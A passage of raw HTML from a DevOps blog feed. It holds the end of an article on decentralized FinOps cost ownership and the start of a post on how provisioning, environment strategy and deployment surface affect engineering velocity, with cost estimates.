        <a href="#h3-replace-approval-gates-with-automated-guardrails" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Replace approval gates with automated guardrails
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-replace-approval-gates-with-automated-guardrails"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Instead of &quot;every change needs FinOps approval,&quot; enforce policies automatically via Infrastructure as Code.</p>
<p>Some examples:</p>
<ul>
<li>Only approved instance families (no GPU instances without director approval)</li>
<li>All resources must have <code>service</code> and <code>team</code> tags</li>
<li>Non-prod environments auto-shutdown after hours</li>
<li>Max instance size limits per environment</li>
</ul>
<p>Use policy-as-code tools like OPA, HashiCorp Sentinel, or AWS Service Control Policies. Teams move fast within safe boundaries. FinOps never becomes a bottleneck.</p>
<h3 id="h3-build-playbooks-not-reports" class="group relative scroll-mt-24">
        <a href="#h3-build-playbooks-not-reports" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Build playbooks, not reports
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-build-playbooks-not-reports"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Instead of sending monthly &quot;here&#39;s your waste&quot; reports, document how to fix common problems:</p>
<p><strong>Rightsizing</strong>: How to check utilization metrics, when to downsize (sustained below 40% CPU), safe process for instance changes.</p>
<p><strong>Spot instances</strong>: Which workloads qualify, configuration examples, expected 50-90% savings.</p>
<p><strong>Reserved instances</strong>: When to buy, how to analyze recommendations, break-even math.</p>
<p><strong>Cleanup</strong>: Weekly checklist for unused resources, automation scripts, tagging strategy for temporary infrastructure.</p>
<p>Teams can execute these without deep AWS pricing knowledge. FinOps provides the playbook, teams run the plays.</p>
<h3 id="h3-make-wins-visible" class="group relative scroll-mt-24">
        <a href="#h3-make-wins-visible" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Make wins visible
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-make-wins-visible"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When a team saves money, tell everyone about it. &quot;Checkout Team reduced database costs 40% by moving read replicas to smaller instances. Approach documented in wiki.&quot;</p>
<p>This creates positive peer pressure. Cost optimization becomes something teams brag about, not something imposed on them.</p>
<hr>
<h2 id="h2-a-timeline-that-works" class="group relative scroll-mt-24">
        <a href="#h2-a-timeline-that-works" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          A Timeline That Works
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-a-timeline-that-works"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you&#39;re starting from scratch, here&#39;s a realistic path:</p>
<p><strong>Months 1-2 (Visibility)</strong>: Tag all resources. Build per-team cost dashboards. Send first monthly cost emails. Goal: every team can answer &quot;what do our services cost?&quot;</p>
<p><strong>Months 3-4 (Ownership)</strong>: Create a service catalog with costs. Assign all infrastructure to teams. Set initial cost targets at current spend plus 10% headroom. Goal: every resource has an owner.</p>
<p><strong>Months 5-6 (Enablement)</strong>: Launch self-service cost analysis. Publish optimization playbooks. Set up automated guardrails. Goal: teams can optimize without asking FinOps for help.</p>
<p><strong>Months 7-12 (Culture)</strong>: Celebrate wins publicly. Include cost in retrospectives. Add cost efficiency to team KPIs. Run monthly office hours. Goal: cost optimization is just how you work, not a special initiative.</p>
<p>You need about one FinOps lead and half an engineer for six months to build the foundation. After that, it&#39;s less than a day a week to maintain tooling and share patterns.</p>
<hr>
<h2 id="h2-when-centralized-finops-still-makes-sense" class="group relative scroll-mt-24">
        <a href="#h2-when-centralized-finops-still-makes-sense" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When Centralized FinOps Still Makes Sense
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-when-centralized-finops-still-makes-sense"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Decentralized ownership is the right model for most companies above ~30 engineers. But some things stay centralized:</p>
<p><strong>Shared infrastructure</strong> like networking, CDN, and monitoring doesn&#39;t belong to any one team. FinOps optimizes these and allocates cost across teams.</p>
<p><strong>Reserved Instances and Savings Plans</strong> require cross-team coordination and financial commitment. FinOps should own capacity planning.</p>
<p><strong>Emergency cost cuts</strong> need centralized command. If the company needs to slash 30% of cloud spend in 30 days, you can&#39;t wait for distributed teams to self-organize. But transition back to decentralized ownership after the crisis passes.</p>
<hr>
<h2 id="h2-how-to-tell-if-its-working" class="group relative scroll-mt-24">
        <a href="#h2-how-to-tell-if-its-working" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Tell If It's Working
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-tell-if-its-working"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Stop measuring FinOps by total spend reduction. That metric penalizes growth.</p>
<p>Better signals:</p>
<ul>
<li><strong>Spend with clear ownership</strong>: target &gt;90% of resources tagged with service and team</li>
<li><strong>Team self-service</strong>: are teams pulling their own cost data or asking FinOps for reports?</li>
<li><strong>Cost per business unit</strong>: cloud cost per $1M revenue or per 1M API requests - this measures efficiency, not just absolute spend</li>
<li><strong>Time to fix</strong>: when waste is found, how fast does it get fixed? Centralized FinOps: 30-90 days. Decentralized: 1-7 days</li>
<li><strong>Who&#39;s optimizing</strong>: if &gt;60% of cost reductions come from team-initiated actions (not FinOps-driven), the culture shift is working</li>
</ul>
<hr>
<h2 id="h2-the-shift" class="group relative scroll-mt-24">
        <a href="#h2-the-shift" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Shift
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-shift"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>FinOps fails when the FinOps team is the &quot;cost police&quot; - finding problems and telling engineering to fix them. That creates an adversarial dynamic where cost optimization competes with product priorities and always loses.</p>
<p>The model that works:</p>
<ul>
<li><strong>FinOps team</strong> builds tools, sets guardrails, writes playbooks, celebrates wins</li>
<li><strong>Engineering teams</strong> own their service costs, make optimization decisions, hit targets</li>
<li><strong>Cost optimization</strong> happens continuously by teams with context, not episodically by a central team without it</li>
</ul>
<p>Stop trying to optimize for teams. Enable teams to optimize themselves.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[The 3 Infrastructure Decisions That Determine Your Engineering Velocity]]></title>
      <link>https://devops-daily.com/posts/3-infrastructure-decisions-engineering-velocity</link>
      <description><![CDATA[Provisioning model, environment strategy, and deployment surface. Everything else is optimization. Here's how to make these foundational choices without killing your team's momentum.]]></description>
      <pubDate>Fri, 06 Mar 2026 10:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/3-infrastructure-decisions-engineering-velocity</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[Engineering Velocity]]></category><category><![CDATA[Infrastructure Strategy]]></category><category><![CDATA[Team Productivity]]></category><category><![CDATA[Platform Engineering]]></category><category><![CDATA[DevOps]]></category>
      <content:encoded><![CDATA[<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>Three decisions matter most</strong>: Provisioning model (how you create infrastructure), environment strategy (dev/staging/prod topology), and deployment surface (where code runs)</li>
<li><strong>Provisioning</strong>: Manual ops → 2-3 days per change. Scripted → 4-8 hours. Terraform → 30-60 minutes. Platform-abstracted → 5-10 minutes</li>
<li><strong>Environments</strong>: Production-only → fast but risky. Dev/staging/prod → safe but slow (30-90 min deploys). Ephemeral per-PR → fast AND safe (5-15 min feedback loops)</li>
<li><strong>Deployment surface</strong>: Managed platforms = fastest (minutes to production), VMs = moderate (hours to days), Kubernetes = slowest (weeks to months for first deploy)</li>
<li><strong>The velocity tax</strong>: Each additional approval gate adds 15-45 minutes per deployment. At 40 deploys/day across a 20-person team, that&#39;s ~$31K/month in approval overhead alone</li>
<li><strong>Decision principle</strong>: Choose the simplest option that meets your requirements. Complexity kills velocity faster than any other factor</li>
</ul>
<hr>
<h2 id="h2-the-infrastructure-decisions-that-actually-matter" class="group relative scroll-mt-24">
        <a href="#h2-the-infrastructure-decisions-that-actually-matter" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Infrastructure Decisions That Actually Matter
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-infrastructure-decisions-that-actually-matter"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Engineering teams obsess over monitoring tools, service meshes, and database choices. They spend weeks evaluating container runtimes. They debate GitOps vs traditional CI/CD.</p>
<p>These decisions matter, but they&#39;re <strong>optimizations</strong>. They affect developer experience and operational efficiency, but they don&#39;t fundamentally change your team&#39;s ability to ship quickly.</p>
<p>Three infrastructure decisions have outsized impact on velocity:</p>
<ol>
<li><strong>Provisioning Model</strong>: How you create, modify, and destroy infrastructure</li>
<li><strong>Environment Strategy</strong>: Your dev/staging/prod topology and how work flows through it</li>
<li><strong>Deployment Surface</strong>: Where your code actually runs</li>
</ol>
<p>Get these wrong, and your team will struggle no matter how good your other choices are. Get these right, and you&#39;ll ship faster than teams with &quot;better&quot; infrastructure.</p>
<p>This guide examines each decision, quantifies the velocity impact, and provides frameworks for choosing correctly based on team size and maturity.</p>
<hr>
<h2 id="h2-decision-1-provisioning-model" class="group relative scroll-mt-24">
        <a href="#h2-decision-1-provisioning-model" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Decision 1: Provisioning Model
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-decision-1-provisioning-model"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question</strong>: When you need a new database, load balancer, or storage bucket, how long does it take from decision to usable resource?</p>
<h3 id="h3-the-four-provisioning-maturity-levels" class="group relative scroll-mt-24">
        <a href="#h3-the-four-provisioning-maturity-levels" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Four Provisioning Maturity Levels
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-four-provisioning-maturity-levels"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Level 1: Manual Operations</strong> (2-3 days per change)</p>
<ul>
<li>Someone clicks through cloud console UI</li>
<li>Takes screenshots for documentation</li>
<li>No repeatability or versioning</li>
<li>Common in early startups (1-5 engineers)</li>
</ul>
<p><strong>Velocity impact</strong>: Every infrastructure change requires dedicated focus time. Deploying a new service that needs a database, cache, and message queue? That&#39;s 3× 2-3 days = <strong>6-9 days of infrastructure work</strong> before your first line of application code runs.</p>
<p><strong>Level 2: Scripted Provisioning</strong> (4-8 hours per change)</p>
<ul>
<li>Bash scripts or CLI commands</li>
<li>Some documentation, minimal versioning</li>
<li>Better than manual, but fragile</li>
<li>Common in growing startups (5-15 engineers)</li>
</ul>
<p><strong>Velocity impact</strong>: You&#39;ve eliminated the &quot;where&#39;s that button in the console?&quot; tax, but scripts break when cloud APIs change. You&#39;ll spend 2-4 hours fixing brittle automation quarterly. At 10 infrastructure changes/month, that&#39;s <strong>40-80 hours/month</strong> of provisioning work.</p>
<p><strong>Level 3: Infrastructure as Code (Terraform, Pulumi, CloudFormation)</strong> (30-60 minutes per change)</p>
<ul>
<li>Declarative configuration</li>
<li>Version controlled and reviewed</li>
<li>Plan before apply, state management</li>
<li>Standard for mid-stage companies (15-50 engineers)</li>
</ul>
<p><strong>Velocity impact</strong>: The goldilocks zone for most teams. Changes are fast enough that infrastructure isn&#39;t the bottleneck, but controlled enough that you don&#39;t accidentally destroy production. <strong>30-60 minutes from PR to merged infrastructure.</strong></p>
<p><strong>Level 4: Platform-Abstracted</strong> (5-10 minutes per change)</p>
<ul>
<li>Developers self-serve through internal platform or managed service</li>
<li>Infrastructure provisioned automatically based on application config</li>
<li>Examples: Heroku (provisions DB on <code>heroku addons:create</code>), internal IDP with service catalogs</li>
<li>Practical for larger companies (50+ engineers with platform team)</li>
</ul>
<p><strong>Velocity impact</strong>: Infrastructure becomes invisible. Developers declare &quot;I need PostgreSQL&quot; and get it without thinking about VPCs, security groups, or backup policies. <strong>5-10 minutes from config change to usable resource.</strong></p>
<h3 id="h3-the-provisioning-velocity-tax" class="group relative scroll-mt-24">
        <a href="#h3-the-provisioning-velocity-tax" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Provisioning Velocity Tax
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-provisioning-velocity-tax"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Let&#39;s quantify this with a real scenario: Your team builds 2 new microservices per month. Each needs:</p>
<ul>
<li>PostgreSQL database</li>
<li>Redis cache</li>
<li>S3 bucket for file storage</li>
<li>Application secrets</li>
<li>Load balancer/ingress</li>
</ul>
<p><strong>Time to provision per service:</strong></p>
<pre><code>Manual Operations:    3 days × 5 resources = 15 days (120 hours)
Scripted:             6 hours × 5 resources = 30 hours
Infrastructure as Code: 45 min × 5 resources = 3.75 hours
Platform-Abstracted:   7 min × 5 resources = 35 minutes
</code></pre><p><strong>Monthly cost</strong> (2 services at $16,700/engineer-month):</p>
<pre><code>Manual:    240 hours = 1.5 FTE = $25,000/month
Scripted:  60 hours = 0.375 FTE = $6,300/month
IaC:       7.5 hours = 0.047 FTE = $780/month
Platform:  1.2 hours = 0.007 FTE = $120/month
</code></pre><p>The difference between manual and IaC is <strong>$24,220/month</strong> in engineer time—nearly a senior engineer&#39;s salary.</p>
<h3 id="h3-choosing-your-provisioning-model" class="group relative scroll-mt-24">
        <a href="#h3-choosing-your-provisioning-model" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Choosing Your Provisioning Model
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-choosing-your-provisioning-model"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Stay at Level 1 (Manual)</strong> if:</p>
<ul>
<li>You&#39;re pre-product-market-fit (1-3 engineers)</li>
<li>You provision infrastructure less than once/week</li>
<li>Your total infrastructure is &lt;10 resources</li>
</ul>
<p><strong>Move to Level 2 (Scripted)</strong> when:</p>
<ul>
<li>You&#39;re provisioning infrastructure 2-3×/week</li>
<li>Multiple people need to provision similar resources</li>
<li>You hit 10-30 total infrastructure resources</li>
</ul>
<p><strong>Adopt Level 3 (IaC)</strong> when:</p>
<ul>
<li>You have 5+ engineers touching infrastructure</li>
<li>You need multi-environment (dev/staging/prod) provisioning</li>
<li>You&#39;re spending &gt;10 hours/week on infrastructure changes</li>
</ul>
<p><strong>Build Level 4 (Platform)</strong> when:</p>
<ul>
<li>You have 50+ engineers</li>
<li>You can dedicate 2+ FTEs to platform engineering</li>
<li>Developer self-service is a bottleneck (&gt;5 infrastructure requests/day)</li>
</ul>
<p><strong>Most teams should aim for Level 3 (IaC) and stop.</strong> Level 4 is only worth the investment at significant scale.</p>
<hr>
<h2 id="h2-decision-2-environment-strategy" class="group relative scroll-mt-24">
        <a href="#h2-decision-2-environment-strategy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Decision 2: Environment Strategy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-decision-2-environment-strategy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question</strong>: How does code flow from development to production, and how many approval gates exist?</p>
<h3 id="h3-the-environment-spectrum" class="group relative scroll-mt-24">
        <a href="#h3-the-environment-spectrum" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Environment Spectrum
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-environment-spectrum"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Pattern 1: Production Only</strong> (Deploy time: 5-15 minutes)</p>
<p>Developers push directly to production. No staging environment. Works for:</p>
<ul>
<li>Very early startups (&lt;5 engineers)</li>
<li>Teams with comprehensive automated testing</li>
<li>Low-risk applications (internal tools, content sites)</li>
</ul>
<p><strong>Velocity impact</strong>: Maximum speed. Feature branches merge to main, CI runs, production deploys. <strong>Total time from merge to production: 5-15 minutes.</strong></p>
<p><strong>Risk</strong>: No safety net. Bugs reach users immediately. Requires excellent testing culture and fast rollback capability.</p>
<p><strong>Pattern 2: Staging + Production</strong> (Deploy time: 30-90 minutes)</p>
<p>The industry standard:</p>
<ol>
<li>Merge to main</li>
<li>CI deploys to staging</li>
<li>Manual QA/smoke tests</li>
<li>Promote to production (manual or automated)</li>
</ol>
<p><strong>Velocity impact</strong>: Adds 15-75 minutes of waiting between merge and production deploy. At 10 deploys/day across a 10-person team, that&#39;s <strong>2.5-12.5 engineer-hours daily</strong> waiting for staging validation.</p>
<p><strong>The hidden cost</strong>: Staging environments drift from production. Database state differs. Traffic patterns don&#39;t match. You&#39;ll discover production-only bugs monthly, costing <strong>4-8 hours of debugging</strong> each.</p>
<p><strong>Pattern 3: Dev + Staging + Production</strong> (Deploy time: 60-180 minutes)</p>
<p>Common in regulated industries:</p>
<ol>
<li>Develop in local/dev environment</li>
<li>Merge deploys to shared dev environment</li>
<li>Promote to staging for QA</li>
<li>Promote to production after approvals</li>
</ol>
<p><strong>Velocity impact</strong>: Each environment adds 15-45 minutes of wait time. <strong>Total time from commit to production: 60-180 minutes</strong> depending on automation.</p>
<p><strong>Cost</strong>: Maintaining 3 environments costs $2,000-$5,000/month in infrastructure alone for typical web applications. Add 5-10 hours/week of &quot;fixing dev environment&quot; work.</p>
<p><strong>Pattern 4: Ephemeral PR Environments</strong> (Feedback time: 5-15 minutes)</p>
<p>Modern approach:</p>
<ul>
<li>Each pull request gets isolated environment</li>
<li>Automated tests + human review happen in PR environment</li>
<li>Merge to main deploys directly to production</li>
<li>PR environments destroyed after merge</li>
</ul>
<p><strong>Velocity impact</strong>: Fastest feedback loops. Reviewers see changes running in real environment within <strong>5-15 minutes of pushing code.</strong> No waiting for shared staging environment.</p>
<p><strong>Tools</strong>: Vercel/Netlify (frontend), Render Preview Environments, Railway PR Deploys, Kubernetes with Argo CD + preview namespaces</p>
<p><strong>Cost</strong>: Variable based on PR volume. Roughly $500-$2,000/month for teams with 20-50 open PRs simultaneously.</p>
<h3 id="h3-the-approval-gate-tax" class="group relative scroll-mt-24">
        <a href="#h3-the-approval-gate-tax" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Approval Gate Tax
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-approval-gate-tax"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every manual approval step adds latency. Let&#39;s quantify:</p>
<p><strong>Scenario</strong>: 20-engineer team, each engineer deploys 2×/day average</p>
<ul>
<li>Total deploys: 40/day</li>
<li>Each manual approval: 15-30 min average (including context switching for approver)</li>
<li>Daily cost: 40 × 22.5 min = <strong>900 minutes = 15 hours/day</strong> of combined waiting + approval time</li>
<li>Monthly cost: 15 hours/day × 20 workdays = 300 hours/month × $104/hour = <strong>~$31,000/month in approval overhead</strong></li>
</ul>
<p>And that&#39;s assuming approvals happen within 30 minutes. In practice, approvals often wait hours for the right person to be available, multiplying this cost.</p>
<h3 id="h3-choosing-your-environment-strategy" class="group relative scroll-mt-24">
        <a href="#h3-choosing-your-environment-strategy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Choosing Your Environment Strategy
        </a>
        <button 
